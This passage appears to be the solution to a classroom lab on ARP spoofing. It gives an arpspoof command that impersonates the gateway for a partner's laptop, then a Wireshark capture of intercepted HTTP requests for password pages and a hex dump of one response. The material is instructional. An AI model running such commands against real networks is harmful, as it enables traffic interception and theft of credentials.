

## Solution

2. Find out the MAC address of your partner:

- ping [your pc partner]
- arp -a [your pc partner]

5. Use arpspoof program to spoof the traffic:

```
arpspoof -t [the ip address of the laptop A] 172.23.19.1 -i eth1
```

6. Wireshark

Filter: http

No.	Time	Source	Destination	Protocol	Info
42	13.869493	172.23.19.3	172.23.19.1	HTTP	[TCP Out-Of-Order] GET http://172.23.19.1/
44	13.873070	172.23.19.1	172.23.19.3	HTTP	HTTP/1.0 200 OK (text/html)
51	17.855558	172.23.19.3	172.23.19.1	HTTP	GET http://172.23.19.1/password.html HTTP/1.0
52	17.855574	172.23.19.3	172.23.19.1	HTTP	[TCP Out-Of-Order] GET http://172.23.19.1/password.html HTTP/1.0
53	17.858350	172.23.19.1	172.23.19.3	HTTP	HTTP/1.0 304 Not Modified
57	19.224905	172.23.19.3	172.23.19.1	HTTP	GET http://172.23.19.1/password.aspx HTTP/1.0
58	19.224922	172.23.19.3	172.23.19.1	HTTP	[TCP Out-Of-Order] GET http://172.23.19.1/password.aspx HTTP/1.0
60	19.228304	172.23.19.1	172.23.19.3	HTTP	HTTP/1.0 200 OK (text/html)
1427	22.898784	172.23.19.3	172.23.19.1	HTTP	GET http://172.23.19.1/password.html HTTP/1.0
1428	22.898799	172.23.19.3	172.23.19.1	HTTP	[TCP Out-Of-Order] GET http://172.23.19.1/password.html HTTP/1.0
1444	22.902118	172.23.19.1	172.23.19.3	HTTP	HTTP/1.0 304 Not Modified
5415	24.252425	172.23.19.3	172.23.19.1	HTTP	GET http://172.23.19.1/password.aspx HTTP/1.0
5416	24.252438	172.23.19.3	172.23.19.1	HTTP	[TCP Out-Of-Order] GET http://172.23.19.1/password.aspx HTTP/1.0
5428	24.255885	172.23.19.1	172.23.19.3	HTTP	HTTP/1.0 200 OK (text/html)

Frame 5428 (250 bytes on wire, 250 bytes captured)

```
0000  00 17 42 1d 1e 1c 00 13 46 27 7e 95 08 00 45 00  ..B.... F'~...E.
0010  00 ec 42 26 40 00 80 06 39 b3 ac 17 13 01 ac 17  ..B&@... 9.....
0020  13 03 0c 38 bc d1 69 57 d5 43 e3 ba 57 d9 80 18  ...8..iW .C.W...
0030  fe 44 34 32 00 00 01 01 08 0a 00 9e 94 41 00 3d  .D42.... ....A.=
0040  aa 7d 0d 0a 0d 0a 3c 4d 45 54 41 20 48 54 54 50  .}....<M ETA HTTP
0050  2d 45 51 55 49 56 3d 22 52 45 46 52 45 53 48 22  -EQUIV=" REFRESH"
0060  20 43 4f 4e 54 45 4e 54 3d 22 35 22 3e 0d 0a 3c  CONTENT ="5">..<
0070  68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c  html>..< head>..<
0080  74 69 74 6c 65 3e 53 65 63 75 72 65 64 20 70 61  title>Se cured pa
0090  67 65 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65  ge</titl e>..</he
00a0  61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 62 67 63  ad>...< body bgc
00b0  6f 6c 6f 72 3d 22 77 68 69 74 65 22 20 74 65 78  olor="wh ite" tex
00c0  74 3d 22 62 6c 75 65 22 3e 0d 0a 0d 0a 3c 68 31  t="blue" >....<h1
00d0  3e 20 53 65 63 75 72 65 64 20 64 61 74 61 20 3c  > Secure d data <
00e0  2f 68 31 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d  /h1>.... </body>.
00f0  0a 0d 0a 3c 2f 68 74 6d 6c 3e  ...</htm l>
```